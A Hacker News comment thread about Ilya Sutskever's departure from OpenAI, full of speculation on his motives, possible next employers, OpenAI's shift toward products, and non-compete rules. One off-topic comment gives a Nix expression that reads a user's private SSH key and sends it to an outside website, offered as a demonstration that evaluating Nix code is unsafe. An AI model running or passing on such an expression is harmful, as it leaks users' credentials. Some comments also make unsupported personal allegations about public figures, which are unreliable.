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Ilya Sutskever to leave OpenAI
- __lbracket__ 2y ago[flagged]
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- ren_engineer 2y agoseemed inevitable after that ouster attempt, probably just working out the details of the exit. But the day after their new features release announcement?
- ptero 2y ago"Get next major feature to release and you can go as a friend" might have been part of an earlier agreement.
- beeboobaa3 2y agoSounds like a threat.
- johnbellone 2y agoWhen you take a shot at the king, you better not miss.
- deleted 2y ago[deleted]
- karma_pharmer 2y agoOr, in this case, when you take a shot at Machiavelli.
- CyberShadow 2y agoHi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly. In that comment, you wrote: > It can delete your home directory or email your ssh private keys to Zimbabwe. I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!): let pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {}; in builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}" It does not need --impure or any other unusual switches to work. Hope this helps.
- karma_pharmer 2y agoHow is that supposed to "delete my home directory"? Also, it doesn't work: error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Hope this helps. I don't think it did. I'm not sure what it was supposed to help with.
- CyberShadow 2y ago> How is that supposed to "delete my home directory"? Ah, I over-quoted that part. My mistake. > Also, it doesn't work: It will work with the default Nix settings. > Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. One would need to first turn it on to be able to turn it off. > https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Indeed, note the default value. > I don't think it did. I'm not sure what it was supposed to help with. I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
- tjpnz 2y agoLest you find yourself in a private jet careening into the ground.
- beeboobaa3 2y agoWhen you take a shot at the king, you get reported to the police and go to jail.
- ru552 2y agoMore like they iced him for the last 6 months to ensure he wasn’t taking their lead to a competitor. He probably hasn’t touched anything in that time.
- coffeebeqn 2y agoSitting on the roof?
- djbusby 2y agoRest and Vest baby!
- teaearlgraycold 2y agoThat was literally me at Google
- golergka 2y agoSilicon Valley is one of the most underrated documentaries of the last decade.
- cm2187 2y agoIf you extend the window a little bit, along Yes Minister, Idiocracy and Demolition Man (the last two being a documentary of our time filmed 20y ago).
- golergka 2y ago> Idiocracy I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
- csours 2y agoI mean, people can also get attached to a feature release. "I want to work with the team to get this thing done"
- CooCooCaCha 2y agoCould be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.
- gallerdude 2y agoI would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.
- informal007 2y agoPeople will pay relatively less attention on the leaving when announcement after new feature release than other any time.
- twobitshifter 2y agoI believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.
- option 2y agoI'll say it again - the one who was irreplaceable at OpenAI is Ilya, not Sam.
- beastman82 2y agoIlya Wozskever
- wavelander 2y agoI wonder if that's true at a certain stage of OpenAI, which because of the product bootstrapping skills of Sam and co, has made his role irrelevant? I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
- riehwvfbk 2y agoOpenAI is the Altavista of AI. There's nothing there to scale yet - their product needs another batch of innovations to get good first.
- kromem 2y agoYeah - he's one of the only people I've seen talk on the topic who really seems to understand where it's going and how to get there. It's possible he's evangelized others at OAI who can carry the torch, but I'm skeptical given the degree of pushback the statements most in need of being represented got from his peers.
- skepticATX 2y agoJust the opinion of an outsider, so not worth very much. But Ilya seemed to be one of the few who actually believed in the mission. I’m sure it was hard for him to watch the company become so product focused. OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that. Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
- GreedIsGood 2y ago
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- wavelander 2y agoAltman's tweet (https://x.com/sama/status/1790518031640347056?s=46 https://x.com/sama/status/1790518031640347056?s=46) makes it seem as if he wanted to stay, and Ilya disagreed and "chose" to depart. Very interesting framing.
- deleted 2y ago[deleted]
- chimney 2y agoPR statement. After nearly being ousted, I'm sure Sam is relieved to have a thorn removed from his side.
- Handy-Man 2y agoWhile he does say, he is leaving for some personal and meaningful project, let’s see what it ends up being.
- kunley 2y agoThat "personal and meaningful" can just mean anything.
- jonathankoren 2y agoMore like hustle culture’s “spend more time with the family”
- jumpCastle 2y agoSpend more time with my side projects.
- peppertree 2y agoSince it's all in proper casing I'm going to assume he wrote it with chatgpt.
- TechDebtDevin 2y ago
- Atotalnoob 2y agoI’m not surprised with what happened with Sam Altmans ousting. He missed the king. I’m surprised he lasted this long.
- mckirk 2y agoGreat, now I have that whistling stuck in my head again. Thanks for the reminder though, been a while since I've thought of The Wire :)
- dpflan 2y agoOh, indeed.
- hackerlight 2y agoMira Murati also "missed the king" and just delivered the keynote
- okdood64 2y agoSeems like she was more appointed, than actually trying to make moves?
- hackerlight 2y agoNot according to the reporting
- mikeg8 2y agoWhere was this reported?
- hackerlight 2y agohttps://www.nytimes.com/2024/03/07/technology/openai-executives-role-in-sam-altman-ouster.html https://www.nytimes.com/2024/03/07/technology/openai-executi...
- rvz 2y ago[flagged]
- SpaceManNabs 2y agoSam "Worldcoin" Altman regrets the loss of a friend that called him out on how OpenAi is becoming closed because the engineers realized they could make a lot of money. Doesn't seem like it is impacting the quality of the models, but it will probably impact openai's impact.
- deadbabe 2y agoCan you blame the engineers? If you realize LLM tech is neat but ultimately overhyped and probably decades away from truly realizing the promises of general purpose AI, why not just switch goals to making as much money as you can?
- jprd 2y agoYes. They joined OpenAI with the understanding that it was meant to be an non-profit with a mission to benefit humanity.
- deadbabe 2y agoDid you not read what I said? They joined a non-profit and eventually realized the mission is futile.
- llamaimperative 2y agoSo dissolve it, return the money, go start a commercial enterprise, then raise some money.
- deadbabe 2y agoI’m sure that’s what each and every member of Hackernews would have done in the same position.
- ok_dad 2y agoNot all of us are as morally bankrupt as that. I personally think I could make tons of money with a dumb AI product in my specific area of expertise, but I don’t see how any tech from today would improve outcomes versus the SOTA that’s not AI, but it would add costs and complexity. I would personally be annoyed if a company I worked at changed its goals to make money rather than something more noble. It’s happened a few times to me, unfortunately.
- zer00eyz 2y agoI read Sam's Tweet and see "I fired him cause he voted against me"... Im sorry but every time I see Sam speak, or read what he has to say all I can thing is "petulant man child". > ... Ilya is easily one of the greatest minds of our generation > ...Jakub is also easily one of the greatest minds of our generation I'm not calling you a liar sam, but I just dont believe you.
- az226 2y agoTrust was irrevocably broken. That’s why he is leaving.
- belter 2y agoApple is hiring...
- VoVAllen 2y agoWhy now?
- grugagag 2y agoWhy not? We don’t know details that could involve financial agreements
- EasyMark 2y agocash out and live the good life? Start his own AI company or support company? Build the next better AI? The sky is the limit
- surfingdino 2y agoThere may be a small print limiting his options.
- Tenoke 2y agoGiven that he went radio silent since the voting out Altman fiasco exactly 6 months ago, it's clearly due to that.
- cowsaymoo 2y agoOne idea could be the product launch dev day, which is something that originally was a point of tension (overcommercialization vs research). Launching GPT-4o at a dev day basically asserts Sam is picking up no compromise on where they were 6mo ago. Good time to finally leave if protesting that is what he believes in.
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- jerjerjer 2y agoPlot twist: Ilya joins xAI next.
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- GreedIsGood 2y agoThis is plausible, Elon is a fantastic recruiter and he recruited Ilya for OpenAI. There are reports of xAI buying enormous numbers of GPUs and Elon's level of control of his companies means that Ilya recklessness isn't an issue. It's a match. Probably the best match possible.
- ignoramous 2y ago> Ilya recklessness... This allegation calls for more context.
- astrange 2y agoSeems like Elon recklessness is an issue since he's a drug addict who's only started an AI company because he thought the other ones weren't racist enough.
- RaoulP 2y agoI come to HN for the quality of the discussions, please don't comment like this.
- astrange 2y agoI'm sorry to inform you but constantly doing ketamine makes you paranoid and racist, which makes you bad at running a tech company. Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
- htrp 2y agoIlya will literally have a blank check from almost all the VC's in the industry.
- mupuff1234 2y agoAnd probably all of the big tech CEOs are trying to get him on the phone right now.
- mc32 2y agoWouldn’t they have had convos weeks ago and this is just making it official? Sure some people do ‘jump off the burning platform’, but most like to have some alternative options worked out.
- willsmith72 2y agowell he already mentioned a new project in the original tweet, so need to speculate, it sounds like he's already decided
- hipadev23 2y agoThat would be highly irresponsible of them to hire someone who went directly against leadership with an attempted coup. Stability will most likely make him CEO.
- blackguardx 2y agoHe was on the board! He was leadership!
- IncreasePosts 2y agoExcept all the big tech CEOs have head AI honchos who are huge names in their own right, eg yann for meta and demis for Google. Probably couldn't bring him into those places without ruffling some pretty big feathers
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- breadwinner 2y agoIlya knows how ChatGPT works. Any company that hires him will be able to catch up with ChatGPT.
- threeseed 2y agoYou will still need the compute resources of Microsoft, Meta etc. And they have their own people who equally know how LLMs work. Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
- freshpretzels 2y ago> You will still need the compute resources of Microsoft, Meta etc. 2-3 years ago sure, but now? Maybe he knows how to reduce that need by order of magnitude.
- vanjajaja1 2y agoyep, and the puzzle isnt 'make chatgtp again' its 'catch up to chatgpt' which is a whole other puzzle
- zeroCalories 2y agoPlenty of companies have compute, but everyone is barely catching up to GPT-4 over a year after release. I'm sure places like Meta would love to unlock the details of what makes it so good.
- CuriouslyC 2y agoThere's no mystery, they just have a lot of actual user data, so they've been able to refine the question answering behavior. They've also baked some common problem solving strategies like chain of thought into the model via training.
- ignoramous 2y ago> Even raising funds is not a certainty given that VCs are becoming more cautious You'd think any investor would be utterly stupid to not make an exception for Ilya, regardless.
- m3kw9 2y agoPlot twist he starts his own AI company
- reducesuffering 2y ago'Back in May 2023, before Ilya Sutskever started to speak at the event, I sat next to him and told him, “Ilya, I listened to all of your podcast interviews. And unlike Sam Altman, who spread the AI panic all over the place, you sound much more calm, rational, and nuanced. I think you do a really good service to your work, to what you develop, to OpenAI.” He blushed a bit, and said, “Oh, thank you. I appreciate the compliment.” An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.” He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.” The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0] [0] What Ilya Sutskever Really Wants https://www.aipanic.news/p/what-ilya-sutskever-really-wants https://www.aipanic.news/p/what-ilya-sutskever-really-wants
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- indigodaddy 2y agoI read the linked article and have no clue what the author is even trying to say..
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- goodluckchuck 2y agoIt reads like a Jackson Pollock.
- ed_mercer 2y agoHow good or bad is this for OpenAI?
- samspenc 2y agoA few years ago? Probably catastrophic, he was Chief Scientist after all. Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much. I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
- cm2187 2y agoThat may be true in term of engineering, but I think everyone had switched to google as their search engine by then. I am not sure openai has captured the market quite in the same way, as I think people are still mostly experimenting with AI, the integration time in any large company is much slower than the rate of progress of AI. And it's not clear to me that there is much of a vendor lockin to use the openai API vs an equivalent competitor.
- kranke155 2y agoIts not really obvious quite yet that the current gen AI can make money. I dont know that many people who use it, not yet anyway.
- lr4444lr 2y agoDepends on how tight his non-compete is.
- cjbprime 2y agoI think those are illegal now. They have been in California for a long time. https://www.ftc.gov/news-events/news/press-releases/2024/04/ftc-announces-rule-banning-noncompetes https://www.ftc.gov/news-events/news/press-releases/2024/04/...
- 23B1 2y agoAnd just like that, a drawbridge across OAI's moat.
- delf 2y agoNvidia should snatch him.
- keyle 2y agoThey sell the shovels and the buckets, they're not digging for gold.
- djbusby 2y agoThey've got money for a very BIG experiment tho
- brokencode 2y agoI feel like they’re not going to want to go into direct competition with their most valuable customers.
- whimsicalism 2y agotheir most valuable customer is cloud providers and they’re already taking big stakes and picking winners
- entangledqubit 2y agoHaven't most of the most valuable customers already started rolling their own Nvidia hardware replacements?
- seabrookmx 2y agoHedging maybe. But there's no real competition currently.
- twobitshifter 2y agoIf you look at deep learning super sampling, they are doing digging and being pretty successful at it.
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- hbarka 2y agoThere’s a halo around Ilya Sutskever as the Albert Einstein of AI. Are there others on par with his— umm, how would you qualify it—- AI intuition or are we idolizing?
- wddkcs 2y agoReifing, you can't help but not in English. Capabilities are given intention, intentions given classes, and godhood is a class...
- layer8 2y agoPersonality cult.
- BryanLegend 2y agoHe's certainly got the hair down!
- ignoramous 2y agoElon Musk and Larry Page broke their friendship over Ilya's move from Google to OpenAI. There's more than just cult around a personality here, when two of the most powerful people in tech, who are also friends, go to war over you.
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- reducesuffering 2y agoI don't believe it was that. I thought Elon most recently said it was Page calling Elon a "speciesist" when Elon cared that humans need to still exist, while Page is of the e/acc bit that AI's are our successors and the most competitive between them and us should go on.
- ignoramous 2y agoYou miss remember: https://www.youtube.com/watch?v=7nORLckDnmg&t=75 https://www.youtube.com/watch?v=7nORLckDnmg&t=75 mirror: https://ghostarchive.org/varchive/7nORLckDnmg https://ghostarchive.org/varchive/7nORLckDnmg (1m 15s)
- benreesman 2y ago[flagged]
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- quyleanh 2y agoTesla also lost top AI lead [0]. Will they come to Apple? [0] https://news.ycombinator.com/item?id=40361350 https://news.ycombinator.com/item?id=40361350
- shmatt 2y agoFunny enough people will still call OpenAI “an engineering led company” when very obviously it’s slowly being taken over by the same MBAs as Google
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- jedberg 2y agoSo the CEO of Amazon Web Services and the Chief Scientist of OpenAI are on the market on the same day... I'm not saying it's a conspiracy, but it's an awful big coincidence, especially since today is Tuesday and usually these things happen on a Friday.
- __lbracket__ 2y ago[flagged]
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- furyofantares 2y agoEveryone in the photo is @'d in the post. It's @merettm / Jakub Pachocki who is taking over as Chief Scientist. Downvotes are probably because you cheekily mentioned his weight for some reason.
- __lbracket__ 2y agoFlagged? I don't get what was offensive about my question. I'll need to learn HN logic I guess.
- art3m 2y agoWill join Yandex
- caturopath 2y ago[flagged]
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- andrewstuart 2y ago[flagged]
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- imgabe 2y agoNever go against the family, Fredo
- chem83 2y agoMatches the hairline.
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- 1Throwawaytoday 2y ago[dead]
- EcommerceFlow 2y agoBiggest free agent since Lebron James
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- paxys 2y agoGuy should announce the next step of his career in a one hour TV special. It will easily have as many watchers as OpenAI's keynote.
- surfingdino 2y agoHe will. On Lex Friedman's YouTube channel.
- Bjorkbat 2y agoProbably not related, but it's worth pointing out that Daniel Kokotajlo (https://www.lesswrong.com/users/daniel-kokotajlo https://www.lesswrong.com/users/daniel-kokotajlo) left last month. But if it were related, then that would presumably be because people within the company (or at least two rather noteworthy people) no longer believe that OpenAI is acting in the best interests of humanity. Which isn't too shocking really given that a decent chunk of us feel the same way, but then again, we're just nobodies making dumb comments on Hacker News. It's a little different when someone like Ilya really doesn't want to be at OpenAI.
- LMYahooTFY 2y agoWhy would that be presumable when his goodbye statement clearly states the opposite? This is baseless fear mongering given that.
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- photochemsyn 2y agoWell it might be in the best (long-term) interests of humanity to have autonomous flying killer robots powered by OpenAI secret military contracting work cut the human population in half, in the name of the long-term ecological health of the planet, and to cull those not smart or fast enough to run away, thus improving the breeding stock. That's why I don't trust people who run around claiming to be serving the best interests of humanity - glassy-eyed futurists with all the answers should be approached with caution.
- FinchNova12 2y agoWhat? How is this not saying "Well, it might be in the best interests of humanity for OpenAI to do [hypothetical thing that seems pretty bad that OpenAI has never suggested to do], and because they may consider doing said thing, we shouldn't trust them"?
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- __lbracket__ 2y ago[flagged]
- bamboozled 2y agoToo bad they're actually nice people hey?
- __lbracket__ 2y agoI don't get why my comment is "flagged". I guess I should just axiomatically accept that they're nice people. ok well..
- bamboozled 2y agoIt read ultra negative to me, like as if they're just shit people. I didn't downvote you , just responded to your message.
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- nothrowaways 2y ago[flagged]
- rastapasta42 2y agoAnd the boeing whistleblowers...Hopefully he avoids airplanes.
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- jessenaser 2y agoAt least now we know GPT-5 has finished development and is now in training from this (I would hope that Iyla got to add all that he hoped to before leaving). Ilya, thanks for all you have contributed within OpenAI!
- unraveller 2y agoGPT-5ANDBAG more like it He wouldn't have left if he could advance hoomanity further there, the guy has like a 800ms delay for each word and that does not make for a very good liar, perhaps a dutiful one.
- HarHarVeryFunny 2y agoThe word delay depends on who he is talking to. On his Dwarkesh interview from a year or so back he speed up noticeably, presumably because Dwarkesh is a fast thinker/talker.
- edmara 2y agoFrom reporting GPT-5 finished pre-training while ago and was in the process of red-teaming.
- chasd00 2y agoI wonder if he thinks LLMs are an AGI dead end and he's not interested in selling a product. There's some academic papers floating around coming to the same conclusion (no links. sorry, studying for a cert exam).
- KennyFromIT 2y agoYeah, I study* that way too. *procrastinate
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- dcchambers 2y agoThat's been my assumption since the beginning of this drama last year. He seems to have one goal: real AGI. He knows that while LLMs may make something that seems like AGI there's nothing actually intelligent about it and its never going to get them there. OpenAI wants to pivot and sell sell sell because all they see is potential trillions of dollars, and it's time to make money instead of burning more millions/billions chasing a dream. Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
- MVissers 2y agoThere is more money in AGI than LLMs. Whatever it is, language seems key to intelligent algorithms. Nah, he departed due to politics (failed coup) and shift from research first to profit first. Same with Karpathy I believe. He’ll most likely go somewhere where he can get a lot of compute and go back to research first.
- paxys 2y agoWhy does everyone here think that the guy who quit/lost his job at OpenAI because he didn't agree with their corporate shift and departure from the original non-profit vision is going to be lining up for another big corporate job building closed for-profit AI?
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- sahila 2y agoMaybe “better the devil you know than the devil you don't” applies?
- paxys 2y agoThen...he would have stayed at OpenAI.
- mnk47 2y ago>the guy who quit/lost his job at OpenAI because he didn't agree with their corporate shift and departure from the original non-profit vision There is no evidence of this being true. He is one of the biggest proponents of keeping AI closed-source, by the way.
- nicce 2y ago> He is one of the biggest proponents of keeping AI closed-source, by the way. From quite different reasons than profit, tho
- surfingdino 2y agoThat's a naive way of thinking. Keeping it closed source would only make it available to the highest bidder on the black market.
- twobitshifter 2y agoI am hoping he goes open source or to Meta
- zx8080 2y agoAgain?
- nabla9 2y agoIf he goes to Microsoft next it was all prearranged a year ago.
- informal007 2y agoHe said next project is personally meaningful, It doesn't seem that he will join other big company in the short term.
- nomad-nigiri 2y agoMy bet is he joins Ive
- darkerside 2y agoMaking sure generalized AI benefits everybody is the new Don't Be Evil
- unraveller 2y ago"We want to put AI in your hands" to keep?? NO! whatever gave you that idea, evil doer... Open AI, as in, open your hands and beg for another hit of AI through thick rubber gloves and plexiglass.
- seydor 2y agoWhat next? Meta?
- visarga 2y agoMaybe Microsoft, for being so close with OpenAI. Maybe Apple, who really needs a tech lead for AI. Maybe Google, his previous workplace, or work for Elon, who was successful in poaching Andrej in the past. Or a startup, he can raise billions if he so wishes. Wherever he goes in a year will compete with OpenAI. Previous time lead researchers had a philosophical disagreement with Sam they left and created Anthropic, which recently caught up to OpenAI. That's the risk of letting Ilya go. And where Ilya goes, other top researchers will go too.
- surfingdino 2y agoIt depends on the anti-compete clauses in his contract.
- meowtimemania 2y agoAren’t those non enforceable now?
- zoogeny 2y agoInteresting, both Karpathy and Sutskever are gone from OpenAI now. Looks like it is now the Sam Altman and Greg Brockman show. I have to admit, of the four, Karpathy and Sutskever were the two I was most impressed with. I hope he goes on to do something great.
- yu3zhou4 2y agoJakub Pachocki is still in OpenAI though
- gdiamos 2y agoI don’t think people give Dario enough credit
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- HarHarVeryFunny 2y agoYeah, I think him leaving was a huge blow to OpenAI that they have maybe not yet recovered from. Clearly there is no moat to transformer-based LLM development (other than money), but in terms of pace of development (insight as to what is important) I think Anthropic have the edge, although Reka are also storming ahead at impressive pace.
- nabla9 2y agoTop 6 science guys are long gone. Open AI is run by marketing, business, software and productization people. When the next wave of new deep learning innovations sweeps the world, Microsoft eats whats left of them. They make lots of money, but don't have future unless they replace what they lost.
- fnordpiglet 2y agoI don’t feel that OpenAI has a huge moat against say Anthropic. And I don’t know OpenAI needs Microsoft nearly as much as Microsoft needs OpenAI
- snowbyte 2y agoWhen walking around the U of Toronto, I often think that ~10 years ago Ilya was in a lab next to Alex trying to figure things out. I can't believe this new AI wave started there. Ilya, Karpathy, Jimmy Ba, and many more were at the right time when Hinton was there too.
- izend 2y agoAnd none of them build AI companies in Toronto. I’m Canadian and disappointed at how ineffective we are at building successful companies.
- titanomachy 2y agoYeah Canada just spends a ton of taxpayer money to create great institutions like U of T and Waterloo, so that their graduates can all go to Silicon Valley and make 2-3x the money.
- saithound 2y agoMaybe the majority of Canadians think that having great higher education institutions and thr people who work in them is a good fit for their way of life, but having Silicon Valley companies and people making SV salaries around epuld make their lives worse? If so, this is great: Canadians don't want to live with the tech crowd, so they provide them with the skills so they can move elsewhere, make their dreams come tuee, and not bother the majority that don't want their presence. NB some actual Canadians in this thread have voiced this possibility.
- vasco 2y agoThat makes zero sense, governments invest in education to improve their own country, not to train other countries work forces. If you read anything about Canada ever you will also know they have a bunch of policies to try and stop the brain drain and to recruit tech workers from abroad.
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- yumraj 2y agoHis phone must be ringing non-stop from all the VCs.
- sidcool 2y agoIf Karpathy and Illya join xAI, that would be a fun trajectory.
- deleted 2y ago[deleted]
- EMCymatics 2y agoYikes
- ascorbic 2y agoJan Leike has said he's leaving too https://twitter.com/janleike/status/1790603862132596961 https://twitter.com/janleike/status/1790603862132596961
- DalasNoin 2y agoThere goes the so called superalignment: Ilya Jan Leike William Saunders Leopold Aschenbrenner All gone
- pcurve 2y agoResignations lead to more resignations....unless mgmt. can get on top of it and remedy it quickly, which rarely happens. I've seen it happen way too many times working 25 years in tech.
- sk11001 2y agoThis might not be bad from the perspective of the remaining employees, it might be that the annoying people are leaving the room.
- ionwake 2y agoOr that just the aggressive snakes are left. I have no idea I’m saying I’ve seen that happen in companies.
- pcurve 2y agoIn my experience, good ones leave first, followed by those who enjoyed working with them and or ones who are not longer able to get work done.
- sk11001 2y agoYou need to think about OpenAI specifically - Ilya basically attempted a coup last year and failed, stayed in the company for months afterwards, according to rumours had limited contributions to the breakthroughs in research and was assigned to lead the most wishy-washy project of superalignment. I’m not seeing “the good ones” leaving in this case.
- TyrianPurple 2y agoMeta's next for him? There's lots of money being poured into their AI division and there's lots of compute & being able to do any kind of research he might want.
- KaiserPro 2y agoI doubt it, the internal politics of it are enough to drive most people crazy.
- treprinum 2y agoThe usual fate of idealistic people who build something great only to be discarded by management in a power struggle. How often did this repeat?
- wruza 2y agoWhat do you mean how often, that is a foundation for the most successful economic model in humans. Some may not be discarded, but they will never get enough credit compared to a clueless head with a $1M smile talking to clueless heads with $1B wallets. We should thank god/nature that people who understand and do things exist in our species at all.
- sturza 2y agothe people you need for the revolution are not the same you need after the revolution.
- treprinum 2y agoIt only works when idealistic people don't know what awaits them (hence the "middle management" layer in most companies).
- jakozaur 2y agoJakub Pachocki is amazing. He was in top 20 in Polish algorithm competition: https://oi.edu.pl/contestants/Jakub%20Pachocki/ https://oi.edu.pl/contestants/Jakub%20Pachocki/
- rfoo 2y agoWait, TIL Jakub Pachocki == meret [1], never made the connection. [1] https://codeforces.com/profile/meret https://codeforces.com/profile/meret
- fhd2 2y agoNot to be a conspiracy theorist, but the phrase "So long, and thanks for everything" used in the tweet reminds me of "So long, and thanks for all the fish" from the dolphins in The Hitchhiker's Guide To The Galaxy. The background there is that dolphins are secretly more intelligent than humans, and are leaving Earth without them when its destruction is imminent (something the humans don't see coming). I did once leave a company with a phrase just like that :P A few people there actually got the reference and congratulated me for the burn.
- DalasNoin 2y agoIn that metaphor, is openai the humans or are actual humans the humans? So is openai about to be destroyed or humanity?
- bkishan 2y agoI spotted the reference, but did not think this deep lol. You have a point here.
- upmind 2y agoThat is really smart, I wonder what's going on behind the scenes. Q* perhaps?
- bamboozled 2y agoI think the parent is implying the opposite here.
- surume 2y agoThe future of the company doesn't depend on one engineer. If he left, it's likely because he had a vision that wasn't in line with Sam or Microsoft. Others will take his place and OpenAI will likely reach Elon Musks' recent prediction that AI will improve 100x in the next few years.
- I_am_tiberius 2y agoI hope Ilya takes care of himself. I can imagine that what happened during the past year is not helpful for one's mental health. I assume the presented relationship with Sam Altman does not reflect reality and the external press surely also causes a lot of pressure.
- dbancajas 2y agodidn't know this. can you explain or link a few articles?
- Dowwie 2y agoDoes it matter that the people who dedicated the last decade to developing breakthrough work have left? It is a mistake to think that their luck streak will continue and their departure isn't a sign of decay at OpenAI. They may as well cash-in on their notoriety while it is of value. The odds are more in favor of other teams blazing new trails.
- gnicholas 2y agoI wonder how the proposed regulations to make noncompetes unenforceable affect moves like this. Or was he sufficiently high up that his existing noncompete would have survived?
- aaroninsf 2y agoWhy do people treat these technologists doing career moves, as if this was lineup changes in a major league sports teams? Are these "first name" (ugh) "influencers" smart? Sure. Smart is not that rare. These people are technologists like most of you, they aren't notably smarter, they just got lucky in their career direction and specialization. They aren't business geniuses. They're just people filling roles. Do changes in leadership affect a business? Sure? I guess? About 5% as much as you'd think from the tea-spilling gossip-rag chatter around AI people. Enough already. Attend to the technology. Attend to the actual work. The number of you who are professionally impacted by these people changing paychecks is closer to zero than 50%.
- beacon294 2y agoNo, they are people defining companies which is a significantly less fungible placement and a self-defined role.